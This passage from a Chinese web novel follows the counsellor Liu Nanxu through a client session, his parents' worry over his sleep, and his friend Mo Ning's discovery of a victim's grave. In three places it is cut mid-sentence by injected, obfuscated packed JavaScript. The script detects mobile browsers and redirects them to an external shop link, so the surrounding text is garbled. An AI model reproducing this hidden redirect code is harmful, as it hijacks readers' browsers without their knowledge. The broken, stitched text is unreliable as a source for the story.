柳南絮知道莫宁心里面也清楚她自己花招耍的不够漂亮,却还是耍了,这是在拿他当傻子吗?
可能是今天太累,他突然懒得再计较下去了。
“时间不早了,你住哪里?需要我送你回去吗?”
柳南絮说话的时候已经快步走到门前拉开了门,处在室内的身子表明他不过是在客套。
莫宁有眼色,立马边往外走边说:“不用了,离得不远。”
“那就行,路上小心,再见。”
柳南絮说完就要关门,被莫宁下意识伸手抓住门框。
“要不要留一下联系方式?有什么事的话也好及时联系不是。”
柳南絮想说的是“手机没电了”,结果却一个字都没说,只是从口袋里掏出一张名片递过去,等莫宁接下后把门彻底关上了。
门关上的一刹那,墙上钟表走动的声音骤然变大,除此之外,世间万物仿佛都没了声音。
柳南絮感觉实在太累了,匆匆洗漱过后,回到房间倒在床上就睡着了。
傍晚,房间内黑漆漆的,许静半夜起来喝水,发现有光从柳南絮的卧室房门溢出,走过去敲门后等了几秒没听到动静,只好调头回去。
睡着了吗?
越想越不对,柳南絮睡眠质量非常不好,不管几点,凡是外面有点动静必定能瞬间惊醒,可刚才她敲门的声音虽然没有刻意用力,但声音也不小,根据往日,他不至于没回应。
没多久,柳洪兵就被许静拍醒,扯过外套披上跟着来到儿子的卧室门前,不情愿地打开房门后,看到里面的情况也有点吃惊。
12. 第十二章
里面的灯亮着没关,柳南絮随意地趴在床上,脚悬在半空没放床上,他也不觉得难受,连被子都没有盖,就那样睡着了。
柳洪兵蹑手蹑脚地进去,扯过被子盖在柳南絮的身上,把站在门外的许静紧张到一直在打“慢点”的手势。
柳洪兵已经很尽量把动作放轻放慢了,只是在厂里面工作久了,手劲儿上难免不好控制,好在柳南絮一直没醒。
等被子盖好后,许静也不指望柳洪兵把儿子的脚放床上了,开始疯狂地催促柳洪兵出来。
关了灯,关上门,许静和柳洪兵回到自己的卧室开始嘀咕。
“儿子今天怎么睡得这么熟?他以前的睡眠质量差得没边,除了在沙发上睡着那次。”
柳洪兵脱掉外套丢回原来的地方,不以为然地说:“那不是挺好的,难得睡得这么好。”
许静往床上一坐,扭着身子问:“你觉得儿子会不关灯,不盖被子,甚至连躺都没躺好就睡觉吗?”
“你这么一说,我感觉不会,但是自从儿子上小学后,咱们都没见过儿子睡觉了,所以咱俩怎么感觉,也都只是感觉,谁知道他以前会不会也是这样睡的,别想了,明天周三,你课不是挺多的吗?还是赶紧睡觉吧!”
柳洪兵说话的时候已经躺到了被窝里面,闭着眼开始睡觉,后面说的话声音听起来都不怎么清晰。
许静瞧着他这副样子,知道彻底指望不上了,只是强烈的不安感在心里疯狂攀升。
她回想了一遍柳南絮睡觉的样子,总觉得那种熟睡程度,放在自己儿子的身上,远过于熟睡,就像是昏睡过去一样。
昏睡……昏睡的话,别是和三年前在沙发上睡着那次情况一样吧?
“哎!你先别睡。”许静把柳洪兵拍醒,“你给儿子盖被子的时候,他有呼吸没?”
柳洪兵艰难地睁开眼,迷迷糊糊地想了想,把眼睛重新合上,说:“有,大半夜的,你别冒出些不切实际的想法,你也是,本来睡得好好的,怎么突然想起来到儿子房间前扭一圈?”
“我喝水啊!再说了,这叫母子同心懂不懂。”
许静说着也在床上躺好,但一直没有睡着,她心里隐隐约约觉得一定是出什么了事。
次日,柳南絮醒来看了一眼时间,发现已经八点了,从床上下地,加速洗漱,匆匆收拾好,抓起车钥匙往心理咨询工作室赶。
上班时间是八点半,哪怕就快要迟到,柳南絮也没忘记昨天说“要给李乐带早饭”的事。
踩着点到的时候,李乐正在喝茶,一见到人立刻站起来迎接。
她还没说话,猫包里面的小红枣先一步:“喵,喵~”
李乐不满意地说:“怎么会这样?”
柳南絮把早餐递过去,回:“不好意思,起晚了。”
“柳老师你可算来了,不过难得看到你踩点上班。”
闻着包子的香味儿,李乐接过三下五除二吃掉一个后还是没忍住,打听道:“来这么晚,难不成是有什么大事?”
“没。”柳南絮说完往二楼走去。
听到隔壁有开门声,刘景特意出来打招呼。
“来了。”
柳南絮点点头,喊了一声:“刘哥。”
刘景见柳南絮的模样自然,就像昨天的谈话没有发生过,问:“给小李带早餐了?”
这不是什么大事,柳南絮没想到刘景会过问,说:“带了。”
“哦!是这样的。”
刘景看出柳南絮心中的疑惑,开玩笑般地解。
“小李今早望着工作室的玻璃门一直盼着你来,简直望眼欲穿,我见她喝水充饥,以为还没到月底小姑娘就没钱了,说我出钱让她去买早餐吃,也不算她旷工,结果她愣是不肯去,说你答应了给她带早饭,还说你既然承诺给她带,就肯定会给她带。”
今天光是上午柳南絮就有两位来访者,刘景比他更忙,所以也不是闲得没事才扯出这么多话,他是在给柳南絮一个心理暗示,告诉他不管在什么时候,不管是小事还是大事,都有人愿意相信他。
柳南絮心思细腻,刘景相信他能明白话里面的意思。
“嗯!好,我知道了。”柳南絮没有让刘景失望,他明白刘景想表达的更深层面的东西是什么,“谢谢刘哥。”
刘景喜欢和聪明人说话,因为就算自己暗示得再弯弯绕绕,对方也能迅速捕捉到自己想说的重点。但他偶尔也希望和自己说话的人不那么聪明,这样就可以减少说话过程中的暗中较量,自己可以减少用脑程度。
不过深知万事万物都有两面性,对此刘景并不强求。
听到柳南絮的话后他满意地点点头,说:“没事,去忙吧!我就是想着出来和你打声招呼。”
柳南絮这个人,哪怕脑子里面装得烦心事再多,一旦面对工作,都能瞬间把一切无关的事清除出去,只剩当下的工作。
他这间办公室和刘景那间空间大小一样,却不像刘景那样安置了一处茶台。
这边陈设简单到冷清,除去电脑桌、两把椅子、饮水机这些最基本的物件,看点在于这间办公室有面格子墙。
格子墙最上面的一排里面都摆放了一株绿萝,再下面开始,每个格子里面塞满了各类书籍和资料。
因为太高,上面的东西不好取,所以特意安装了滑轨梯子。
别的格子都没有门,只有正中间的那一格,外面特意安装上了玻璃门,而且还可以上锁。
里面的东西倒不是什么贵重物品,仅仅是一个钟表,还是最基础的款式,没有半点花样可言。
柳南絮进到办公室后打开电脑解锁,开始准备接待预约过的第一位来访者。
八点四十五分的时候,工作室一楼的玻璃门被一个男人急匆匆地拉开,他一边往里面进,一边飞快交代好自己姓甚名谁,以及是来找哪位心理咨询师的。
李乐把登记本和笔放到前台的边沿处让对方填写,结果男人愣是直接略过她上到二楼。
很快,柳南絮便听见办公室的门被敲响了。
三声“咚”之间几乎没有停顿,力道因此也有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187523|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些重。
“请进。”
柳南絮话音落下的同一秒,门就被男人从外面推开。
李乐拿着登记本追了上来,看到柳南絮看向自己,就微微晃动了一下登记本。
两人之间没有言语上的任何交流,但是都知道各自下一步应该做什么。
李乐站在门外等着,柳南絮站起身对男人说道:“你好!请坐。”
男人在柳南絮对面的椅子上坐下,动作伴随着声音响起。
“柳老师,您好!我叫孙万谦,是上个星期过来预约的。”
“孙先生您好!”
柳南絮起初用的是“你”这个字眼,当孙万谦用到“您”后,他立即改变了用字。
来访者和咨询师之间是咨访关系,这是一种合作关系,并不存在哪方的地位高于哪方,只是来访者一般都怀揣着“咨询师是自己的救世主”这种心情前来,难免会把咨询师的地位摆放在高于自己的位置。
柳南絮之所以这样做,是想通过细节调整好二人之间的关系。
孙万谦并没明白柳南絮的用意,更没有注意到这点,只是想一个劲儿表达自己前来的目的。
“柳老师,我和您说,我这个人有一毛病,也不知道是后天形成的还是从娘胎里面带出来的,就是做什么事情都着急忙慌的,我自己本来也不认为这是什么大事,但是几年前我儿子这不是到外边去上学嘛!离得远,家里面就剩我和我老婆两个人,没孩子从中劝,我们俩整天因为我总是着急这事吵架,最近我老婆被我气得心口闷得慌,都吃药了,我见她身体不好心里面也特别不是滋味儿,就想着来请您帮帮我,治治我这毛病。”
在孙万谦说话的过程中,柳南絮尝试过打断他,打手势、递水杯都不管用,想要开口直接提醒,结果愣是插不进去话。
“孙先生,您一口气说了那么多话,先喝口水。”柳南絮说完,把水杯又往孙万谦手边放了放。
孙万谦端起杯子,一口气喝掉大半,放下后才说:“可算舒坦了。”
见对方听得进去自己说的话,柳南絮耐心劝道:“孙先生,是这样的,凡是来了心理咨询工作室的人,不管最后有没有成为这里的来访者,不管是第一次来还是来了很多次,都要先在前台做过登记才能上二楼。”
“啊!原来是这样吗?”孙万谦扭头看向站在门外等着的李乐,扭回头对柳南絮说,“实在是不好意思,我这着急着上来,也不知道那个过程是必须要走的。”
柳南絮把面部放松,尽量让自己显得有人情味儿,说:“让客人填写登记表并不是我所负责的工作内容,所以您应该道歉的对象并不是我,我也没有资格替我的同事接受您的歉意。”
孙万谦来工作室之前在心里面预设过咨询的场面,想的不过是在见到柳南絮后向他阐述出自己遇到的问题,柳南絮根据问题对症下药也就行了,完全没料到会多出一件插曲来。
“那我……”孙万谦再次扭头看向李乐,“现在填吧?”
疑问句预示着他当下有些不知所措。
13. 第十三章
柳南絮记得孙万谦第一次来这里的样子,当时他一直在克制自己,那是一种到了陌生环境后所强迫自己做出的谨慎。
今天这是孙万谦第二次踏入这里,因为已经来过一次了,这个地方对他来说不再那么陌生,于是便收起了谨慎和克制,稍微放纵自己呈现出真实的那一面。
现在柳南絮看着孙万谦迷茫的反应,认为这是好事。
柳南絮给李乐使了一个敲门的眼色,李乐会意后,对着敞开的门不轻不重地敲了三下,然后笑着说:“不好意思柳老师,打扰您了。”
柳南絮也接下话,道:“没事,进来吧!”
得到允许后,李乐才迈开脚步踏入办公室的地面。
“孙先生,你好!这是登记本,请照实填写就好。”李乐说完,把登记本递给孙万谦。
孙万谦接过后又问:“笔呢?”
李乐摸了摸口袋,没找到,正打算看向柳南絮求助,柳南絮已经从笔筒里抽出一支递给了孙万谦。
孙万谦拿过笔道了谢才开始填写,字迹工整有力,书写速度流畅,写完后把登记本还给李乐,说:“写好了。”
李乐检查了一遍,确认没有空下的地方,说:“谢谢配合。”
孙万谦立马顺着往下说:“不客气。”
李乐看向柳南絮,柳南絮冲她点点头,示意没事了。
办公室的门被关上的一瞬间,柳南絮看了一眼时间,已经八点五十三分了。
还需要再等等。
孙万谦见柳南絮一直在看电脑,神情专注,便也不好打扰,张了几次嘴到底都没说一个字就闭上了。
等到八点五十七分的时候,柳南絮关掉了电脑。
在他刚有动作的时候,孙万谦立马问:“柳老师,请问我们是可以开始咨询了吗?”
柳南絮拿起夹有草稿本的写字板和一本文件夹站起身,道:“是的,孙先生您这边请,我们现在去咨询室。”
刘景和柳南絮都各自有一间办公室,同样,咨询室也各有一间,而且都是自己布置的。
起初柳南絮没想到来这里工作咨询室可以自己布置,而且还给报销。
当时刘景对他讲:来访者的数量越多,倾诉的事件也就越多,这些倾诉或是尚未寻找到答案的难题,或是正在面临着的心理压力,等等各种各样的事情,一个合格的心理咨询师不仅仅要懂得接收这些倾诉,还要帮助来访者寻找到走出困境的方法,这意味着不仅在咨询过程中咨询师需要高度警惕,哪怕在咨询过程外,也要花费心思。
一间由咨询师亲自打造的咨询室,在工作中,起码可以给咨询师带来安全感。
咨询师在来访者面前往往起着示范作用,咨询师放松的话,来访者也不会处于那么紧绷的状态。
所以打造好一间咨询室,是必须要做的事。
当时柳南絮深受触动,逛超市、跑建筑商场丝毫不觉得累,一点一点把原本的毛坯房完善成了一间有模有样的咨询室。
柳南絮的咨询室就在他办公室的隔壁,拉开门,整体色调呈现淡黄色,两张单人布艺沙发摆放在墙角处,中间还放置着一张通体透明的玻璃茶几,窗帘露着一条缝,透过缝隙就能看出这个房间阳光充足。
因为要放置东西,还有一张带抽屉的木桌子,桌面干净整洁,旁边立着饮水机。
由于是个体接待室,地方不过十三平米左右,不大,给人一种很舒服、很安心的感觉。
柳南絮走进去拉开窗帘,整个房间变得明亮起来,不过窗帘里面的一层纱还是拉着的。
孙万谦还站在门外,柳南絮便对他说:“孙先生,请进。”
“哎!好。”孙万谦点点头,进到咨询室内,关上了门来到柳南絮面前。
“请坐吧!”
柳南絮先坐下,等对方也坐下了才接着说。
“在开始确立咨访关系之前,我需要告知你保密协议,凡是涉及你的个人隐私和资料,我都会严格保护,做到不在任何场合公开,但是有几种情况除外。”
“第一,是经过你的同意。”
“第二,是你可能会涉及到自身安全或者他人生命安全的时候,我有权利直接联系你的家人和相关部门。”
“第三,法律规定的例外情况。”
孙万谦一直在张望咨询室,听柳南絮说完,立马道:“这些我在来之前都打听了解过了,没问题。”
柳南絮打开文件夹,从里面抽出两份文件,连带一支笔摆放到孙万谦面前,说:“这是咨询协议和知情同意书,其中包括了咨询关系、咨询态度、咨询设置、咨询限制、咨询协议的生效、调整、终止及争议处理,以及我刚才说的保密原则。”
“好的,没问题。”
孙万谦直接翻到最后一页,那里咨询师需要填写的部分柳南絮已经填写过了。
在孙万谦正要下笔签字的时候,柳南絮制止了他,道:“孙先生,等一下,我有责任提醒您,您需要先浏览一遍,确定没问题之后再签字,因为里面涉及到的每一条协议都很重要。”
孙万谦翻了几下,一点都不在意地说:“没事,我都提前了解过了,这么多字,再看一遍挺浪费时间的。”
“时间用来做必须要做的事并不算浪费,您慢慢看,我可以等您。”见孙万谦皱了皱眉,柳南絮笑着补充道,“签好后我们再开始进行第一次咨询也不迟。”
补充的话是在说,咨询现在还没有开始,所以并不耽误咨询的时间,我这样做是为了保证您的知情权,并不是故意占用咨询时间,你为咨询花费的钱并没有浪费。
孙万谦难得听懂了柳南絮的暗示,开始认真翻开两份文件,逐字逐句地看完后在最后面补全了自己的信息。
放下笔,大概是心境产生了变化,孙万谦主动说:“上次来预约,您说要我带身份证复印件确定个人信息,我带了,是现在直接给您吗?”
“是的,”柳南絮再次保证,“您的身份证复印件我会和咨询协议、知情同意书放在一起保存,并时刻遵守协议,所以您请放心。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187524|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
孙万谦从口袋里掏出复印件交给柳南絮,就此,二人之间的咨访关系建立。
柳南絮调整到一个舒服的坐姿上,建议道:“其实我一直想说,我们之间是平等的,都放松一点,不如从称呼开始?”
孙万谦点点头,表示愿意,问:“我该怎么称呼您呢?”
柳南絮保持着语速,说:“把‘您’改成‘你’,怎么样?”
孙万谦本来要比柳南絮年长得多,从进门开始就在称呼上端着,现在柳南絮提起了,他当即同意,并且在下一句话就运用上了。
由于是在确定咨访关系后的第一次正式咨询,柳南絮适当把咨询时间延长了五分钟左右,尽可能地控制在一个小时内。
在结束前十分钟的时候,柳南絮初步了解了孙万谦前来求助的问题,形成了初步诊断。
在出咨询室前,柳南絮再次暗示道:“等你再到前台的时候,我个人觉得,你需要做点什么。”
孙万谦心情不错,说:“我也这样觉得。”
两人又确定好了下次来访的时间,柳南絮站起身,把孙万谦送到一楼后打过招呼便又往楼梯上走。
不过柳南絮并没有回到办公室,而是站在楼梯转角处偷听。
李乐先说的话,声音磕磕碰碰一路传上来。
“孙先生,祝您生活愉快,慢走。”
“谢谢。”孙万谦开始还有点不好意思,用笑容稍微缓解了一下尴尬才继续往下说,“你工作的态度很好,我之前太没有礼貌了,我向你道歉,实在不好意思。”
李乐大大方方地说:“谢谢孙先生认可我的工作态度,您理解就好。”
之后传来门开的声音,柳南絮也就回办公室了。
孙万谦自己觉得平日里和妻子的争吵源自于他的急性子,但是柳南絮观察了这么久,认为确实有这一方面的原因,但是最主要的矛盾点是孙万谦潜意识把人与人之间的地位进行了分类。
这种分类无关个人的真实能力,无关个人的人品三观,仅仅是根据性别分为了两大类,他认为,不论多么优秀的女性,都排在男性后面。
所以,孙万谦如果想要减少和妻子之间的争吵,就必须做到尊重。
柳南絮之所以暗示孙万谦向李乐道歉,就是在让他明白,人与人之间是需要互相尊重的,这点不应该区分对方的性别。
好在,孙万谦迈出第一步很顺利。
下一个来访者预约的时间在十一点,趁着中间的空挡,柳南絮开始写孙万谦的来访记录。
就快写完的时候,私人手机响了一下,柳南絮扫了一眼,是莫宁发过来的定位。
只有一个简单的定位,也没说是做什么。
柳南絮写记录的思绪没有断,就暂时没去理会。
手机刚被放下,莫宁那边的电话就打了过来。
柳南絮任由来电铃声在房间里四处回荡,直到把记录写完才接通。
电话接通后,莫宁平淡的声音传来,说:“柳南絮,快来。”
14. 第十四章
柳南絮这才点开定位看莫宁当前所处的位置——万寿园公墓。
莫宁会在那里,柳南絮着实有些意外,皱着眉问:“你在那里做什么?”
“我在这边有新的发现。”
莫宁的话音落下后,又响起一道陌生的声音,好像是在骂莫宁是个神经病,还说什么要报警之类的话。
柳南絮看了一眼时间,十点二十八分,就快十点半了,开车赶过去也要十五分钟左右,这样算的话,勉强能赶在十一点前回来。
只是,中间不能出现插曲才行。
“你先不要和人争辩,也别再往下追问,好好等着,我现在就过去。”
柳南絮说话的时候已经动身了,说完就立马掐断电话。
李乐见柳南絮那么着急的样子,比他下班还要着急,好奇问道:“柳老……”
柳南絮知道她想问什么,直接把话抢过来,说:“有急事。”
也不知怎的,一路上碰到的都是红灯,柳南絮把车速控制在车速限制的最大值上,绿灯一旦亮起就立刻踩上油门。
赶到万寿园的时候,仅仅用了十分钟。
看着诺大的公墓,柳南絮刚要给莫宁打电话就听到了对方的声音。
见人没事,柳南絮心里猛地松了一口气,他没再往前走一步,站在原地等人过来。
莫宁跑过来的时候起风了,她的头发被吹得更加凌乱。
到了跟前,莫宁随意把头发顺到耳朵后面,欢喜地把自己的新情报告诉给眼前的人。
“柳南絮,你可算来了,我刚才在里面发现了死亡校车上那位女老师的墓碑。”
听到莫宁的话,柳南絮不免震惊了一下,完全没想到还能找到受害者的墓碑。
“你别不信啊!我带你去看看,快跟我来。”莫宁见柳南絮没动,扯着他的衣袖就要顺着台阶往上走。
“没不信你,”柳南絮按亮手机屏幕,给莫宁看了一眼时间,“十一点我有工作要忙,我带你先回去,吃了午饭再来一趟。”
回去的时候柳南絮开车速度慢了点,他心里有很多话想问,但一直到了心理咨询工作室都没问。
从车上下来,刚好看见预约的来访者从出租车上下来,两人便一起进了工作室。
莫宁隔着车窗玻璃看柳南絮对来访者那样谦虚有礼,想到他对自己的态度,十分不满意地嘟囔道:“什么嘛!这不是能好好和人说话吗?”
莫宁独自进去的时候,李乐异常自来熟地招呼她坐下,惹得莫宁居然有些不好意思了,问:“你们这里的员工工作态度都这么热情的吗?我还没说我是来干什么的。”
“喵,喵~”
李乐去饮水机前接了杯温水放在桌子上,心情更好了,说:“你是今天第二个夸我工作态度好的人,第一个是柳老师的来访者。”
莫宁对李乐解释说:“那什么,我不是来做心理咨询的。”
“我知道。”对上莫宁想要询问的眼神后,李乐说,“柳老师在你进来之前特意交代过了,说你是来找他的,还让我和你说说话,不要让你觉得无聊。”
莫宁望着楼梯口暗自心想:原来是这样。
“发什么愣呀?柳老师忙完工作就下来了,不如你和我说说,”李乐顶着一张八卦脸往莫宁身边又凑了凑,“你和柳老师是什么关系呀?我真挺好奇的,昨天上午柳老师还和我说他没对象,今天怎么就带了一位家属过来?”
莫宁没回答,反问:“‘家属’也是柳南絮说的?”
李乐讪讪地说:“那倒不是,我就是哄你开心的。”
“嗯?”莫宁这就不明白了,“为什么你觉得这样说我会开心?”
李乐一改八卦脸,秒变人生哲理大师。
“本来你没进来之前,我听到柳老师的交代以为是他在追求你,你进来之后,我瞬间就觉得是你在追求他,不过现在倒是觉得你们俩人是双向奔赴,反正不管怎样,最后和和美美就好。”
莫宁毫不留情否认道:“你想多了,我和他不过是长辈玩得好,我俩之间什么关系都没有。”
李乐才不相信莫宁的一面之词,说:“你进来之后,小红枣对你叫了两声,今天早上柳老师来的时候,小红枣对他也叫了两声,你知道这是什么?”
不等莫宁说话,李乐就自问自答地把话接上,说:“这就是缘分。”
莫宁算是服气了,她甚至不知道依照柳南絮的冷淡性子是怎么忍受下来的。
没人搭理自己,李乐也能说得特别起劲儿。
“现在没有关系不要紧,只要有缘分,早晚都会有的,毕竟关系是可以随着相处产生的。”李乐一推眼镜,眼神极为坚定,“毕竟我可是专业磕CP三十年,磕过的CP无数,都……”
从楼梯转角处走出来一个人,打断李乐说:“都塌了。”
李乐被这三个字气得头蒙,跺着脚反驳道:“哎呀!老板,你瞎说,才没有都塌。”
刘景也不生气,据理力争道:“你但凡是能给我列举出来一对没塌的,我就承认是我在瞎说。”
李乐憋着气想了半天都没想出一对来,然后不甘心地坐到电脑前开始查找自己记在文档里面的CP。
刘景温和地对莫宁说道:“小莫是吧!我叫刘景,是这里的老板。”
莫宁点点头,没说话。
刘景也不在意,继续说:“小李这人就这样,什么都敢说,还三十年,她自己都没有三十年。”
李乐猛地抬起头,下意识又要反驳,可惜说了一个字就卡壳了。
“我……”
刘景和莫宁望向她,等着她的下文。
李乐憋得脸都快红了,才说:“好吧!老板你说什么就是什么。”
刘景满意地点点头,转头对莫宁提议道:“小莫,在下面等着也是等着,不如到我办公室里坐会儿,喝杯茶?”
李乐上一句刚说完的话,下一句就自己打自己的脸,插话道:“哎!老板,柳老师交代让我哄她开心的,你那么忙,这点小事就不劳您费心了。”
刘景提醒李乐认真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187525|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工作,不要多管闲事,之后两人就齐齐看着莫宁,等待当事人发话。
莫宁不明白李乐为什么会这么听柳南絮的话,但是她从刘景温和的眼神中看出他有话想问,直觉告诉她,大概率是关于柳南絮的。
直觉除了告诉自己这点外,还判断出,刘景要比柳南絮更难对付。
僵持不下时,刘景开口了,丝毫不觉得尴尬,说:“那我就先上楼了,你要是愿意和我聊聊,随时可以过去找我,二楼第一间就是我的办公室,上面贴有我的名字。”
莫宁除非是傻了才看不出来,刘景这样做不过是在以退为进,却还是笑着向他道了谢。
前台桌子上摆放着的钟表分针指向数字“6”的时候,莫宁起身踏上了前往二楼的楼梯。
相比起不过才刚见一面的刘景,莫宁还是更信任多年未见的柳南絮,只是,她需要知道刘景到底想要和她聊什么。
莫宁敲门得到应允后进到办公室内,刘景已经把茶沏好了,手里拿着一杯,对面放着一杯。
“请坐。”
刘景说这话的时候,声音不像在一楼的时候那么温和,而是给人一种不容拒绝的感觉。
这下莫宁更加确定,刘景要远比柳南絮没有人情味儿,在柳南絮面前耍的那些小花招一招都不能用,她只能谨慎行事,哪怕再微小的动作。
等人坐下,刘景也不急,嘴上招呼莫宁喝茶放松,心里面计算着接下来的规划。现在距离柳南絮结束咨询还有不到二十分钟的时间,他必须把每分每秒都用到刀刃上。
莫宁很清楚,刘景看似随意地在茶台上摆弄忙活,其实一直在暗中观察她。他在等,等自己放松警惕。
如果上一秒自己还很紧张,下一秒就阳光开朗,这个转变会显得过于突然,刘景怕是不会相信。
所以莫宁也在等,等刘景留给自己的适应时间结束。
刘景的办公室绿植很多,种类也很多,宽大的窗户是推合式的,现在处于向外敞开的状态,外面的风灌进来,把窗边的小盆栽吹得枝叶乱晃。
莫宁估摸着时间喝茶,续第二杯的时候不等她说话刘景就顺手帮忙添上,续第三杯的时候,莫宁等了一下,刘景没有动作,低头在擦桌面。
莫宁懂了,这是留给她适应的时间到了。
“老板,我可以再倒杯茶喝吗?我今天在外面跑了挺长时间,被风吹得难受,想多喝点水缓缓。”
刘景对着水壶做了一个“请”的手势。
“当然可以,你和小絮关系匪浅,来了这里,别说喝水,饭我都可以管够。”
莫宁没反驳刘景说的话,只是略显不好意思地说:“那我先谢谢老板了,但更希望自己不会真沦落到上门讨饭的地步。”
“我觉得也不会,毕竟现在像你们这样的小年轻,把工作看得比什么都重要,种子播得那么好,开出的花自然不会差。”刘景指着窗台上开得正好的花让莫宁看。
他这样做,一是在加强自己说话的可信度,二是在把莫宁的注意力移走一点。
15. 第十五章
莫宁看着那花满脸好奇,当刘景说话的前一秒,更是放下茶杯直接走上前到近处观赏。
刘景的目光追随莫宁的背影移动,推了一下眼镜问:“不过我很好奇,像你和小絮这个年龄段的年轻人,是持有一个什么样的态度在工作呢?”
“老板,你干这行的要说不知道,我可不太信。”莫宁眼眸沉了沉,继而变得更加明亮,转过身面对刘景,把问题重新抛回去,“你是一位有着丰富经验的心理咨询师,同时也是一个老板,那么,你觉得呢?”
刘景轻轻地笑了笑,整个人显得很是儒雅,说:“讲句不负责任的话,我觉得,大部分都是怀着无奈,怀着迫不得已投身于工作中。”
“是吧!是吧!我就知道不止我一个人工作是为了生存。”莫宁快步上前,重新在刘景面前坐下,打听道,“你是柳南絮的老板,你认为柳南絮对工作的态度好不好?”
“你既然说了我是小絮的老板,我肯定要维护自己的员工,所以回答你之前,我要先问问,你问这个做什么?”
刘景先解释,再询问,还句句在理,莫宁没办法不回答。
“哦!是这样的,我和柳南絮自小一起长大,他只有‘话少’这一个缺点,也只有‘好学’这一个优点,我的优点多到数不过来……”
莫宁停下喝了一口茶,才故作无奈地继续说:“可惜有一个算不上缺点的缺点,就是贪玩不好学,所以我爸妈经常拿我和他做比较,虽然这么多年过去了,但我还是不服,要是柳南絮懈怠工作,我也好扳回一局不是。”
刘景又笑了,他这次不是轻轻地笑,而是直接把笑容挂在了脸上,化身成一个温和的长辈。
“小姑娘,这一局你怕是没办法扳回去了,我身为小絮的老板,说一句非常负责任的话,他对待工作认真严谨,有时候我都忍不住担心,小絮要是另立门户单干怎么办?我上哪儿才能再找到一个这么热爱工作的员工啊!”
“是这样吗?”莫宁对上刘景的目光问完,又把头低下去,音量也弱了些,“那还真是让我失望。”
话题到了这里就进行不下去了,要想再继续聊下去,只能再扯出一个话题来。
刘景的视线快速从手腕间的表盘上划过,所剩时间不多了,他索性直接打探想知道的事情。
“小絮既然这么热爱工作,我猜,他是不是很早就产生了当心理咨询师的想法?你刚才说和他一起长大,应该知道的吧?”
莫宁看着刘景,眼睛里面满是真诚,说:“你这么一说,我发现自己还从来没注意过这点,还真不知道。”
她眼睛里面的真诚虽然是装的,但是说出来的话并不单单是在糊弄刘景,而是真的才突然发觉。
柳南絮从小就一副生人勿近的样子,眼睛何止是放在头顶,那小大人的模样简直要上天,对人对事都是道理大于人情,最后到了闯职场的阶段,怎么偏偏会选择这样一个助人成长的行业呢?
就算干了这一行,他在私底下也一点不像是会乐于助人的人,整个人和小时候的样子一模一样。
这个话题不过转眼间又聊不下去了,刘景开始在脑海中打草稿,反复修改接下来要说的话。
刘景在忙着喝茶,莫宁这次倒是先开口说话了。
“不过老板,我问一下哈!你这么关爱员工,员工本人知道吗?”
“关爱员工并不一定非要让员工本人知道,小莫,你说,对吧?”刘景含笑看着莫宁,莫宁在他的注视下把脑袋点成了小鸡啄米。
刘景摆摆手,让她歇歇。
“你别误会,我并没有恶意,只是觉得你们现在这个年龄段,也还正处于对外界充满好奇的状态,小絮他却像是除了工作对什么都不感兴趣的样子,难得碰上他的熟人,所以就想着问问,趁着机会关爱一下员工。”
话都说到这个份上了,莫宁再不能肯定刘景找她来是为了聊柳南絮的,怕是真的没智商了。
同时,把刘景在她进门时的状态和现在的状态做对比,不难判断出,刘景也已经看出来她是在装乖。
莫宁索性把话说开了,翘起二郎腿说:“刘老板,你都问完了,我现在也有想问的了。”
“请问。”话音落下,刘景再次把表情调整成略显严肃的样子。
莫宁觉得更加有趣儿了,问:“为什么同样都是心理咨询师,你和柳南絮对待来访者,哦!虽然我不是你的来访者,但是看你刚才的样子,我估摸着你在工作的时候应该也差不多,你们两个的风格很不一样。”
刘景再次扶了一下眼镜,双手扣着搭在膝盖上,很认真地回答。
“关于这点,不同的心理咨询师对待工作的处理方式就不一样。”
“你应该也看出来了,我一般会显得严肃些,这是想要增强自己在对方眼里的可信度,小絮他会尽量让自己给人一种很好相处的样子,那样可以让对方相对快速处于一个放松的状态,所以,小孩子一般都喜欢同他讲心里话。”
“哦!原来是这样,我就说嘛!感觉在一楼的时候才更像刘老板私底下的样子,感情我进门的时候你是处于工作时候的状态。”直到聊了会儿,看出我警惕心很重,才调整回私底下的样子。
后面的话莫宁自然是没说的。
两个人相视一笑,开始倒茶、喝茶,然后办公室的门被人从外面打开了。
柳南絮推开门后,看到的就是莫宁和刘景一人手里端着一杯茶齐齐望向他的画面,顶着一张冷脸问:“莫宁,喝茶都喝到这里来了,怎么,是嫌一楼的椅子坐着不舒服?”
“谁和你说我是喝茶来了?我分明是觉得刘哥比你好相处,和他交朋友来了。”莫宁说完,还扭头问刘景,“是吧,刘哥!”
刘景没说话,也不给任何反应,只是笑。
